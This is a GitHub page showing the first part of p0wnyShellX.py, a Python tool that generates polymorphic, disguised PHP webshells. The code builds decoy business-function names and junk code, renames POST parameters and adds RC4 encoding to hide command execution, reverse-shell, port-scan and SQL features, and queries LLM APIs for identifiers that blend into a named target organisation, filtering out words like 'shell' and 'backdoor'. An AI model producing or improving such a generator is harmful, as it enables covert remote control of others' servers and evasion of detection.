-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathp0wnyShellX.py
More file actions
2401 lines (2244 loc) · 125 KB
/
Copy pathp0wnyShellX.py
File metadata and controls
2401 lines (2244 loc) · 125 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
p0wnyShellX - Polymorphic PHP Webshell Generator
Usage: python3 p0wnyShellX.py -p MyPass -o shell.php [options]
"""
import argparse, random, string, base64, sys, subprocess
import json, os, re, urllib.error, urllib.request
VERSION = "3.1.0"
# ─────────────────────────────────────────────────────────────────────────────
# NAME POOLS
# ─────────────────────────────────────────────────────────────────────────────
PHP_FUNC_POOL = [
"checkNodeAvailability","fetchClusterStatus","syncConfigRegistry","pruneStaleConnections",
"rebuildServiceIndex","validateNetworkPath","queryRoutingTable","flushNodeCache",
"updatePeerList","monitorDiskUsage","archiveSystemLogs","rotateEncryptionKeys",
"rebalanceLoadPool","triggerHealthProbe","computeUptimeRatio","indexNetworkInterfaces",
"resolveHostAlias","cacheDnsResponse","scheduleMaintenanceTask","validateCertificateChain",
"purgeExpiredTokens","syncReplicaSet","checkFirewallPolicy","updateRouteAdvertisement",
"queryNameserver","computeMonthlyRevenue","fetchBudgetAllocation","reconcileAccountLedger",
"updateInvoiceStatus","processBatchPayment","archiveFinancialReport","validateTaxReference",
"computeDepreciationRate","fetchExchangeRate","updateCostCenter","reconcilePurchaseOrders",
"generateAuditTrail","calculateNetMargin","fetchAccrualBalance","postJournalEntry",
"validateIBAN","computeVATRate","archiveFiscalYear","fetchAmortizationSchedule",
"updateAssetRegister","fetchEmployeeRecord","processPayrollBatch","validateContractType",
"archiveExpenseReport","syncOrgChart","computeOvertime","fetchBenefitsSummary",
"updateAbsenceRecord","generatePaySlip","archiveHRDocument","fetchTrainingRecord",
"updatePerformanceScore","computeBonusAmount","fetchRecruitmentPipeline",
"collectCpuMetrics","aggregateMemoryStats","fetchNetworkThroughput","computeErrorRate",
"archiveAlertHistory","updateThresholdConfig","fetchServiceDependency","computeP99Latency",
"aggregateLogVolume","validateMetricSchema","fetchDashboardSnapshot","updateRetentionPolicy",
"computeAnomalyScore","fetchTraceContext","aggregateSpanData","validateAlertRule",
"fetchProductRecord","updateStockLevel","processTransferOrder","validateWarehouseCode",
"archiveShipmentLog","computeInventoryDelta","fetchSupplierInfo","updateReorderPoint",
"processReceiptNote","validateBarcodeFormat","fetchPickingList","computeShelfUtilization",
"archivePurchaseOrder","updateLocationCode","fetchClientProfile","updateOpportunityStage",
"processContractRenewal","validateAccountCode","archiveSupportTicket","computeChurnRate",
"fetchLeadScore","updateContactRecord","processQuoteApproval","validateDiscountPolicy",
"fetchCampaignMetrics","computeConversionRate","validateInputSchema","sanitizeUserPayload",
"computeChecksumCRC32","fetchConfigValue","updateRuntimeFlag","archiveSessionRecord",
"computeHashDigest","fetchEnvironmentVariable","updateAccessPolicy","validatePermissionSet",
"fetchAuditRecord","computeResponseTime","registerEventCallback","deregisterEventCallback",
"flushEventQueue","processEventBatch","validateEventSchema","archiveEventLog",
"computeEventFrequency","fetchEventCorrelation","updateEventFilter","propagateStateChange",
"captureStateSnapshot","restoreStateFromBackup","lockResourceHandle","releaseResourceHandle",
"allocateBufferPool","deallocateBufferPool","resizeBufferCapacity","encodePayloadBase64",
"decodePayloadBase64","encodePayloadHex","computeSessionFingerprint","rotateSessionKey",
"invalidateSessionToken","validateSessionBoundary","extendSessionLifetime",
"fetchRemoteManifest","validateManifestSignature","applyManifestPatch",
"archiveManifestVersion","fetchDeploymentHistory","computeRiskScore","updateRiskMatrix",
"fetchComplianceStatus","archiveAuditFinding","validateComplianceRule",
"generateReportSummary","scheduleReportDelivery","validateReportTemplate",
"archiveReportVersion","fetchUserPreferences","updateUserPreferences","resetUserPreferences",
"validateUserLocale","syncUserProfile","computeGeoDistance","fetchGeoRegion",
"validateGeoCoordinates","processWebhookPayload","validateWebhookSignature",
"archiveWebhookEvent","retryWebhookDelivery","fetchWebhookHistory","computeTokenExpiry",
"rotateApiKey","validateApiScope","archiveApiUsage","fetchRateLimitStatus",
"indexDocumentRecord","searchDocumentIndex","fetchDocumentMetadata","archiveDocumentVersion",
"validateDocumentSchema","computeBackupChecksum","validateBackupIntegrity",
"archiveBackupManifest","restoreFromBackupSet","fetchBackupHistory",
"processNotificationQueue","validateNotificationTemplate","retryFailedNotification",
"fetchNotificationPreference","updateReplicaConfig","fetchReplicaLag",
"validateReplicaConsistency","archiveReplicationLog","computeReplicationFactor",
"fetchJobQueue","processJobEntry","validateJobPayload","archiveJobResult","computeJobPriority",
"updateCachePolicy","fetchCacheStats","invalidateCacheEntry","archiveCacheSnapshot",
"computeCacheHitRatio","processRetryQueue","computeBackoffDelay","validateRetryPolicy",
"archiveRetryLog","fetchRetryHistory","fetchNetworkTopology","updateTopologyMap",
"validateTopologyConfig","archiveTopologySnapshot","computeNetworkDiameter",
"generateSecurityReport","validateSecurityPolicy","archiveSecurityEvent",
"computeVulnerabilityScore","fetchThreatFeed","processDataPipeline","validatePipelineConfig",
"archivePipelineRun","fetchPipelineStatus","computePipelineThroughput","updateSchemaVersion",
"validateSchemaCompatibility","archiveSchemaMigration","registerHealthCheck",
"deregisterHealthCheck","fetchHealthStatus","archiveHealthHistory","computeHealthScore",
"submitAuditEvent","queryAuditTrail","validateAuditEntry","archiveAuditSummary",
"computeAuditDelta","fetchServiceRegistry","registerServiceEndpoint","deregisterService",
"validateServiceContract","archiveServiceSnapshot","computeLoadFactor","distributeWorkload",
"balanceRequestQueue","validateBalancingPolicy","archiveLoadSnapshot","fetchCloudRegion",
"updateRegionConfig","validateRegionEndpoint","archiveRegionSnapshot","computeRegionLatency",
"processAlertEvent","validateAlertPayload","archiveAlertEntry","suppressAlertNoise",
"computeAlertSeverity","fetchIncidentRecord","updateIncidentStatus","archiveIncidentLog",
"computeIncidentMTTR","validateIncidentPriority","fetchChangeRecord","updateChangeStatus",
"archiveChangeLog","computeChangeRisk","validateChangeCriteria","fetchProblemRecord",
"updateProblemStatus","archiveProblemLog","fetchKnowledgeArticle","updateKnowledgeIndex",
"archiveKnowledgeVersion","computeKnowledgeRelevance","validateKnowledgeSchema",
"fetchCapacityForecast","updateCapacityModel","archiveCapacitySnapshot",
"computeCapacityUtilization","validateCapacityThreshold",
]
JS_FUNC_POOL = [
"initTerminalSession","processCommandInput","renderOutputLine","updatePromptDisplay",
"handleKeyboardEvent","syncWorkingDirectory","buildQueryString","sendAsyncRequest",
"processServerResponse","escapeHtmlEntities","triggerFileDownload","openFileUploadDialog",
"readFileAsBase64","buildPromptHeader","storeCommandHistory","clearTerminalContent",
"updateSessionContext","triggerTabCompletion","processCompletionData","decodeBase64Response",
"attachInputHandler","dispatchInputEvent","flushOutputBuffer","refreshPromptLabel",
"encodeFormPayload","parseJsonResponse","initScrollBehavior","captureFocusState",
"restoreFocusState","computeShortPath",
]
JS_VAR_POOL = [
"terminalInput","terminalOutput","currentDirectory","commandBuffer","bufferPosition",
"sessionConfig","nodeProfile","inputElement","outputElement","pendingCommand",
"authState","syncLock","activeSession","promptContext","cmdStore","cursorPos",
"scrollTarget","focusTarget","sessionData","runtimeCtx",
]
HTML_ID_POOL = [
"terminal-wrapper","output-stream","input-panel","cmd-input","prompt-label",
"session-wrapper","console-body","cmd-field","node-prompt","exec-panel",
"shell-viewport","log-stream","entry-field","prompt-context","runtime-console",
"exec-input","main-terminal","sys-console","live-terminal","ops-console",
"ctrl-surface","data-feed","session-frame","exec-surface","tty-wrapper",
]
# ─────────────────────────────────────────────────────────────────────────────
# JUNK FUNCTION BODIES
# ─────────────────────────────────────────────────────────────────────────────
def _junk_body(rng, extra_words=None):
n1 = rng.randint(2,8); n2 = rng.randint(100,999); n3 = rng.randint(1000,9999)
n4 = rng.randint(0,20); n5 = rng.randint(60,100)
words_a = ['status','state','health','mode','level','tier','zone','env']
words_b = ['ok','active','ready','stable','nominal','idle','warm','cold']
words_c = ['node','pod','svc','app','proc','agent','task','job']
words_d = ['cpu','mem','io','net','disk','swap','cache','buf']
words_e = ['alpha','beta','gamma','delta','epsilon','zeta','eta','theta']
words_f = ['running','stopped','degraded','paused','error','ready','active']
if extra_words:
# LLM-supplied vocabulary, spread across the literal pools
buckets = [words_a, words_b, words_c, words_d, words_e, words_f]
for i, w in enumerate(extra_words):
buckets[i % len(buckets)].append(w)
fmts = ['Y-m-d','c','U','D M j G:i:s','Y/m/d H:i']
regions = ['eu-west','us-east','ap-south','eu-north','us-west','ap-east']
choices = [
(f" $result = [];\n"
f" for ($i = 0; $i < {n1}; $i++) {{\n"
f" $result[] = rand({n2}, {n3});\n"
f" }}\n"
f" return $result;"),
(f" $ts = date('{rng.choice(fmts)}');\n"
f" $hash = md5($ts . '{n2}');\n"
f" return substr($hash, 0, {rng.randint(8,16)});"),
(f" return [\n"
f" '{rng.choice(words_a)}' => '{rng.choice(words_b)}',\n"
f" '{rng.choice(['code','ref','id','key'])}' => {n2},\n"
f" 'ts' => time(),\n"
f" ];"),
(f" $parts = explode('-', '{n2}-{n3}-{rng.randint(10,99)}');\n"
f" return implode('_', array_reverse($parts));"),
(f" $items = array('{rng.choice(words_e)}', '{rng.choice(words_c)}');\n"
f" return $items[array_rand($items)] . '_{rng.randint(10,99)}';"),
(f" return number_format(rand({n2}, {n3}), {rng.randint(0,2)}, '.', '');"),
(f" $map = [];\n"
f" foreach (['{rng.choice(words_d)}', '{rng.choice(words_d)}'] as $k) {{\n"
f" $map[$k] = rand({n4}, {n5});\n"
f" }}\n"
f" return $map;"),
(f" if (rand(0, {rng.randint(3,9)}) === 0) {{\n"
f" return false;\n"
f" }}\n"
f" return str_pad('{n2}', {rng.randint(6,10)}, '0', STR_PAD_LEFT);"),
(f" $seconds = time() - {rng.randint(3600, 86400)};\n"
f" return date('Y-m-d\\\\TH:i:sP', $seconds);"),
(f" $statuses = ['{rng.choice(words_f)}', '{rng.choice(words_f)}', '{rng.choice(words_f)}'];\n"
f" return $statuses[array_rand($statuses)];"),
(f" $base = {rng.randint(1,100)};\n"
f" $factor = {rng.randint(2,10)};\n"
f" return round($base * $factor * (1 + (rand(0, 20) / 100)), 2);"),
(f" return json_encode([\n"
f" 'version' => '{rng.randint(1,9)}.{rng.randint(0,9)}.{rng.randint(0,99)}',\n"
f" 'build' => '{n3}',\n"
f" 'stable' => (bool) rand(0, 1),\n"
f" ]);"),
(f" $buf = '';\n"
f" $charset = 'abcdef0123456789';\n"
f" for ($i = 0; $i < {rng.randint(16,32)}; $i++) {{\n"
f" $buf .= $charset[rand(0, 15)];\n"
f" }}\n"
f" return $buf;"),
(f" $threshold = {rng.randint(50,95)};\n"
f" $current = rand({rng.randint(10,40)}, {rng.randint(60,100)});\n"
f" return ($current > $threshold) ? 'critical' : 'normal';"),
(f" $delta = rand(-{rng.randint(5,20)}, {rng.randint(5,20)});\n"
f" $base = {rng.randint(100,10000)};\n"
f" return round(($base + $delta) / $base * 100 - 100, 2);"),
(f" return array_fill(0, rand({rng.randint(2,4)}, {rng.randint(5,10)}), null);"),
(f" $seed = '{rng.randint(10000,99999)}';\n"
f" return substr(base64_encode(hash('sha256', $seed, true)), 0, {rng.randint(12,24)});"),
(f" $tiers = ['{rng.choice(['Basic','Standard','Pro'])}', '{rng.choice(['Enterprise','Premium','Ultimate'])}'];\n"
f" return $tiers[rand(0, count($tiers) - 1)];"),
(f" $regions = ['{rng.choice(regions)}', '{rng.choice(regions)}'];\n"
f" return $regions[array_rand($regions)] . '-{rng.randint(1,9)}';"),
(f" return round(rand({n2}, {n3}) / {rng.randint(10,100)}, {rng.randint(1,4)});"),
]
return rng.choice(choices)
def gen_junk_functions(rng, count, used_names, pool=None, extra_words=None):
available = [n for n in (pool or PHP_FUNC_POOL) if n not in used_names]
rng.shuffle(available)
funcs = []
sigs = [
lambda fn: f"function {fn}()",
lambda fn: f"function {fn}($data)",
lambda fn: f"function {fn}($id, $opts = [])",
lambda fn: f"function {fn}($name)",
lambda fn: f"function {fn}($value, $key = null)",
lambda fn: f"function {fn}($payload, $ctx = 'default')",
]
for i in range(min(count, len(available))):
fname = available[i]
sig = rng.choice(sigs)(fname)
body = _junk_body(rng, extra_words=extra_words)
funcs.append(f"{sig} {{\n{body}\n}}\n")
return funcs
# ─────────────────────────────────────────────────────────────────────────────
# BCRYPT HASH
# ─────────────────────────────────────────────────────────────────────────────
def compute_bcrypt_hash(password: str, cost: int = 12, seed: int = None) -> str:
if seed is not None:
# Derive a deterministic 22-char bcrypt salt from the seed
salt_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789./'
salt_rng = random.Random(f"bcrypt-salt-{seed}")
bcrypt_salt = ''.join(salt_rng.choices(salt_chars, k=22))
php_code = f"echo crypt(getenv('__P'), '$2y${cost:02d}${bcrypt_salt}');"
else:
php_code = f"echo password_hash(getenv('__P'), PASSWORD_BCRYPT, ['cost' => {cost}]);"
try:
result = subprocess.run(
['php', '-r', php_code],
capture_output=True, text=True,
env={**__import__('os').environ, '__P': password},
timeout=15
)
h = result.stdout.strip()
if not h.startswith('$2y$'):
raise RuntimeError(f"Unexpected hash: {h!r}")
return h
except FileNotFoundError:
print("[!] php not found — falling back to hex encoding (less secure)", file=sys.stderr)
return None
# ─────────────────────────────────────────────────────────────────────────────
# TRANSPORT LAYER
# ─────────────────────────────────────────────────────────────────────────────
# Names drawn from real-world webapp POST param pools (search, API, form handlers).
# Must not contain any plain-mode param name (cmd, cwd, filename, type, path, file)
# — mimic mode replaces those names by drawing from this pool, so overlap would
# defeat the substitution and fail the CI mimic check.
MIMIC_PARAM_POOL = [
'q','query','search','keyword','term','text','input','filter',
'dir','ctx','context','scope','ref','source',
'action','event','op','mode','view','sort','lang','locale',
'data','payload','body','content','value','field','attr','prop',
'token','nonce','sig','key','sid','fmt','charset','region',
]
def generate_transport_context(rng: random.Random, mode: str, param_pool: list | None = None) -> dict:
if mode == 'plain':
return {
'p_cmd': 'cmd', 'p_cwd': 'cwd',
'p_filename': 'filename', 'p_filetype': 'type',
'p_path': 'path', 'p_file': 'file',
'p_ip': 'ip', 'p_port_rs': 'port',
'p_logfile': 'logfile', 'p_pattern': 'pattern',
'p_target': 'target', 'p_ports_ps': 'ports',
'p_mode': 'scan_mode', 'p_timeout': 'scan_timeout',
'p_pause': 'scan_pause', 'p_rs_method': 'rs_method',
'p_ps_probe': 'ps_probe',
'p_dsn': 'dsn', 'p_dbuser': 'dbuser', 'p_dbpass': 'dbpass',
'p_sqlq': 'sqlq', 'p_url': 'url',
}
pool = list(param_pool or MIMIC_PARAM_POOL)
rng.shuffle(pool)
ctx = {
'p_cmd': pool[0], 'p_cwd': pool[1],
'p_filename': pool[2], 'p_filetype': pool[3],
'p_path': pool[4], 'p_file': pool[5],
'p_ip': pool[6], 'p_port_rs': pool[7],
'p_logfile': pool[8], 'p_pattern': pool[9],
'p_target': pool[10], 'p_ports_ps': pool[11],
'p_mode': pool[12], 'p_timeout': pool[13],
'p_pause': pool[14], 'p_rs_method': pool[15],
'p_ps_probe': pool[16],
'p_dsn': pool[17], 'p_dbuser': pool[18], 'p_dbpass': pool[19],
'p_sqlq': pool[20], 'p_url': pool[21],
}
if mode == 'rc4':
rc4_bytes = [rng.randint(0, 255) for _ in range(16)]
alpha = list('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')
rng.shuffle(alpha)
ctx.update({
'rc4_key_hex': ''.join(f'{b:02x}' for b in rc4_bytes),
'rc4_key_bytes': rc4_bytes,
'b64_alpha': ''.join(alpha),
})
return ctx
# ─────────────────────────────────────────────────────────────────────────────
# OPTIONAL LLM AUGMENTATION (opt-in via --llm; stdlib only; silent fallback)
# ─────────────────────────────────────────────────────────────────────────────
#
# Design rule: the LLM only ever produces *atoms* — identifiers and string
# literals. Every candidate is regex-validated before it may enter a pool, so
# a hallucinated brace or a prose answer can never reach the output file, and
# the functional core of the shell stays reviewed template code. Any network,
# auth or parse failure falls back to the static pools silently: a build with
# --llm can degrade, it can never break.
_LLM_DEFAULT_MODELS = {
"ollama": "llama3.2",
"deepseek": "deepseek-chat",
"anthropic": "claude-haiku-4-5-20251001",
"openai": "gpt-4o-mini",
"kimi": "moonshot-v1-8k",
}
_LLM_ENV_KEYS = {
"deepseek": "DEEPSEEK_API_KEY",
"anthropic": "ANTHROPIC_API_KEY",
"openai": "OPENAI_API_KEY",
"kimi": "MOONSHOT_API_KEY",
}
_LLM_ENDPOINTS = { # OpenAI-compatible chat APIs
"deepseek": "https://api.deepseek.com/v1",
"openai": "https://api.openai.com/v1",
"kimi": "https://api.moonshot.cn/v1",
}
_IDENT_RE = re.compile(r'^[a-z][a-zA-Z0-9]{2,39}$') # camelCase function names
_PARAM_RE = re.compile(r'^[a-z][a-z0-9_]{1,19}$') # POST parameter names
_APPNAME_RE = re.compile(r'^[A-Z][A-Za-z0-9 &\'_.-]{2,39}$') # "FleetOps Console"
_WORD_RE = re.compile(r'^[a-z][a-z0-9-]{2,19}$') # junk literal words
_LLM_VALIDATORS = {
'func_names': _IDENT_RE,
'app_names': _APPNAME_RE,
'mimic_params': _PARAM_RE,
'junk_words': _WORD_RE,
}
# Substrings that would *hurt* camouflage if they appeared in an identifier —
# an LLM asked for "believable" names sometimes produces telltale ones.
_LLM_DENY_SUBSTRINGS = (
'shell', 'payload', 'backdoor', 'exploit', 'passwd', 'password',
'base64', 'malware', 'hack', 'cmd', 'exec', 'c2', 'webshell',
)
# Rotating framings per category — the model sees varied requests, which
# improves diversity across builds (same trick as batforge/powershellforge).
_LLM_PROMPTS = {
'func_names': [
'Return {n} plausible camelCase PHP function names for internal business/IT tooling{ctx}. '
'Verb-noun style, like archiveReplicationLog or fetchComplianceStatus. '
'Respond with a JSON array of strings only.',
'List {n} realistic camelCase function names you would find in a company internal dashboard{ctx}. '
'Professional verb-noun naming. JSON array of strings, no explanation.',
'Generate {n} credible camelCase backend function names for an internal ops tool{ctx}. '
'Each 2-4 words joined, lowerCamelCase. JSON string array only.',
],
'app_names': [
'Return {n} plausible names for an internal infrastructure monitoring web console{ctx}. '
'Title Case, 2-3 words, like "Cluster Console" or "Node Inspector". JSON array of strings only.',
'List {n} credible internal ops dashboard product names{ctx}. '
'Short Title Case names, no version numbers. JSON array only.',
],
'mimic_params': [
'Return {n} short lowercase HTTP POST parameter names a web application would use{ctx}. '
'Single words or snake_case, like query, payload or shipment_ref. JSON array of strings only.',
'List {n} common webapp form/API field names{ctx}. '
'Lowercase, short, realistic. JSON string array only.',
],
'junk_words': [
'Return {n} plausible lowercase technical words used in config values and status strings '
'of internal IT tooling{ctx}. Single words, like nominal, relay or eu-west. JSON array only.',
'List {n} terse ops/status vocabulary words{ctx}. '
'Lowercase single words, varied domains (infra, deploy, network). JSON array only.',
],
}
def _llm_context_clause(company: str | None, context: str | None) -> str:
"""Build the target-context sentence appended to every prompt."""
parts = []
if company:
parts.append(f'the organization "{company.strip()}"')
if context:
parts.append(f'({context.strip()})')
if not parts:
return ''
return (' for ' + ' '.join(parts) +
' — they must blend into its internal vocabulary (industry jargon, business domain),'
' as if written by its own developers')
def _parse_llm_list(text: str) -> list[str]:
"""Extract a string list from an LLM response regardless of formatting."""
import ast
# Reasoning models (deepseek-r1, qwq…) wrap their chain of thought in
# <think> blocks — drop them before parsing.
text = re.sub(r"<think>.*?</think>", "", text, flags=re.DOTALL | re.IGNORECASE)
# Small models annotate array entries with trailing // comments, which
# breaks both JSON and Python-literal parsing — strip them per line.
text = re.sub(r'^(\s*"[^"]*")\s*,?\s*//[^\n]*$', r'\1,', text, flags=re.M)
text = re.sub(r"```(?:json|JSON)?\s*", "", text)
text = re.sub(r"```\s*", "", text).strip()
def _coerce(raw: str) -> list[str]:
# Strict JSON first, then Python-literal (small models often answer
# with single-quoted 'arrays', which are invalid JSON).
for loader in (json.loads, ast.literal_eval):
try:
parsed = loader(raw)
except Exception:
continue
if isinstance(parsed, list):
return [s for x in parsed
if (s := str(x).strip()) and not s.startswith(("{", "["))]
return []
out = _coerce(text)
if out:
return out
m = re.search(r"\[.*?\]", text, re.DOTALL)
if m:
out = _coerce(m.group())
if out:
return out
lines = []
for raw in text.splitlines():
line = raw.strip()
line = re.sub(r"^[\d]+[.)]\s*", "", line)
line = line.strip("-*•·").strip('"').strip("'").strip(",").strip()
if line and not line.startswith(("[", "]", "{")) and len(line) > 1:
lines.append(line)
return lines
def _llm_call_ollama(prompt: str, model: str) -> str:
base = os.environ.get("OLLAMA_HOST", "http://localhost:11434").rstrip('/')
payload = json.dumps({
"model": model, "prompt": prompt, "stream": False,
"options": {"temperature": 0.9, "num_predict": 1024},
}).encode()
req = urllib.request.Request(f"{base}/api/generate", data=payload,
headers={"Content-Type": "application/json"}, method="POST")
with urllib.request.urlopen(req, timeout=120) as resp:
return json.loads(resp.read()).get("response", "")
def _llm_call_openai_compat(prompt: str, model: str, api_key: str, base_url: str) -> str:
payload = json.dumps({
"model": model,
"messages": [{"role": "user", "content": prompt}],
"temperature": 0.9, "max_tokens": 1024,
}).encode()
req = urllib.request.Request(f"{base_url.rstrip('/')}/chat/completions", data=payload,
headers={"Content-Type": "application/json",
"Authorization": f"Bearer {api_key}"}, method="POST")
with urllib.request.urlopen(req, timeout=120) as resp:
data = json.loads(resp.read())
return data["choices"][0]["message"]["content"]
def _llm_call_anthropic(prompt: str, model: str, api_key: str) -> str:
payload = json.dumps({
"model": model, "max_tokens": 1024,
"messages": [{"role": "user", "content": prompt}],
}).encode()
req = urllib.request.Request("https://api.anthropic.com/v1/messages", data=payload,
headers={"Content-Type": "application/json",
"x-api-key": api_key,
"anthropic-version": "2023-06-01"}, method="POST")
with urllib.request.urlopen(req, timeout=120) as resp:
data = json.loads(resp.read())
return data["content"][0]["text"]
class LLMProvider:
"""Optional LLM backend for pool augmentation. Instantiate once per build.
variants() returns validated, deduplicated atoms — or an empty list on any
failure (caller then just uses the static pools). Results are cached per
category, so one build costs at most one request per category.
"""
def __init__(self, spec: str, company: str | None = None, context: str | None = None):
parts = (spec or "").split(":", 1)
self.provider = parts[0].lower().strip()
if self.provider not in _LLM_DEFAULT_MODELS:
raise ValueError(f"Unknown LLM provider {self.provider!r}. "
f"Valid: {', '.join(_LLM_DEFAULT_MODELS)}")
self.model = parts[1] if len(parts) > 1 and parts[1] else _LLM_DEFAULT_MODELS[self.provider]
self.ctx_clause = _llm_context_clause(company, context)
self._cache: dict[str, list[str]] = {}
def _raw(self, prompt: str) -> str:
if self.provider == "ollama":
return _llm_call_ollama(prompt, self.model)
if self.provider == "anthropic":
return _llm_call_anthropic(prompt, self.model, os.environ.get("ANTHROPIC_API_KEY", ""))
key = os.environ.get(_LLM_ENV_KEYS[self.provider], "")
return _llm_call_openai_compat(prompt, self.model, key, _LLM_ENDPOINTS[self.provider])
def variants(self, category: str, n: int, rng: random.Random,
exclude: set[str] | None = None) -> list[str]:
"""Up to n validated atoms for the category. Empty list on any failure."""
if category not in _LLM_PROMPTS:
return []
key = f"{category}:{n}"
if key not in self._cache:
prompt = rng.choice(_LLM_PROMPTS[category]).format(n=n, ctx=self.ctx_clause)
try:
raw = self._raw(prompt)
candidates = _parse_llm_list(raw)
except (urllib.error.URLError, KeyError, json.JSONDecodeError, OSError, IndexError):
candidates = []
validator = _LLM_VALIDATORS[category]
seen = set(exclude or ())
ok = []
for c in candidates:
c = c.strip()
# Models often answer PascalCase despite "camelCase" in the
# prompt — normalize instead of discarding the candidate.
if category == 'func_names' and re.match(r'^[A-Z][a-zA-Z0-9]{2,39}$', c):
c = c[0].lower() + c[1:]
if (validator.match(c) and c not in seen
and not any(bad in c.lower() for bad in _LLM_DENY_SUBSTRINGS)):
seen.add(c)
ok.append(c)
self._cache[key] = ok
return self._cache[key]
# ─────────────────────────────────────────────────────────────────────────────
# CSS THEMES
# ─────────────────────────────────────────────────────────────────────────────
# Real themes: picked by random when --theme is omitted. 'poly' and 'none' are excluded from the random pool.
CSS_THEMES = {
"infra-dark": {
"app_name": "Resource Monitor", "version_prefix": "v",
"body_bg": "#1b1c1d", "body_fg": "#e6e6e6",
"shell_bg": "radial-gradient(ellipse at center, #1a1a1a 0%, #121212 100%)",
"shell_border": "#3c3c3c", "shell_glow": "rgba(0,255,0,0.07)",
"stream_fg": "#e0e0e0", "prompt_fg": "#91ff00", "prompt_host_fg": "#21c7ff",
"header_fg": "#ff557a", "header_shadow": "#ff1f5c77",
"entry_bg": "#1e1e1e", "entry_border": "rgba(255,255,255,.05)",
"input_fg": "#fff",
"form_bg": "#272727", "form_border": "#3a3a3a",
"input_bg": "#191919", "input_border": "#444", "input_fg2": "#ddd",
"btn_bg": "#50fa7b", "btn_fg": "#111",
"error_fg": "#ff557a", "note_fg": "#888",
"scroll_track": "#2a2a2a", "scroll_thumb": "#888",
},
"corporate-blue": {
"app_name": "InfraOps Console", "version_prefix": "build-",
"body_bg": "#0d1117", "body_fg": "#c9d1d9",
"shell_bg": "radial-gradient(ellipse at center, #0d1b2a 0%, #070d14 100%)",
"shell_border": "#30363d", "shell_glow": "rgba(56,139,253,0.08)",
"stream_fg": "#c9d1d9", "prompt_fg": "#79c0ff", "prompt_host_fg": "#58a6ff",
"header_fg": "#388bfd", "header_shadow": "#388bfd44",
"entry_bg": "#161b22", "entry_border": "rgba(48,54,61,.8)",
"input_fg": "#c9d1d9",
"form_bg": "#161b22", "form_border": "#30363d",
"input_bg": "#0d1117", "input_border": "#30363d", "input_fg2": "#c9d1d9",
"btn_bg": "#1f6feb", "btn_fg": "#ffffff",
"error_fg": "#f85149", "note_fg": "#8b949e",
"scroll_track": "#161b22", "scroll_thumb": "#484f58",
},
"matrix": {
"app_name": "SysCore Terminal", "version_prefix": "r",
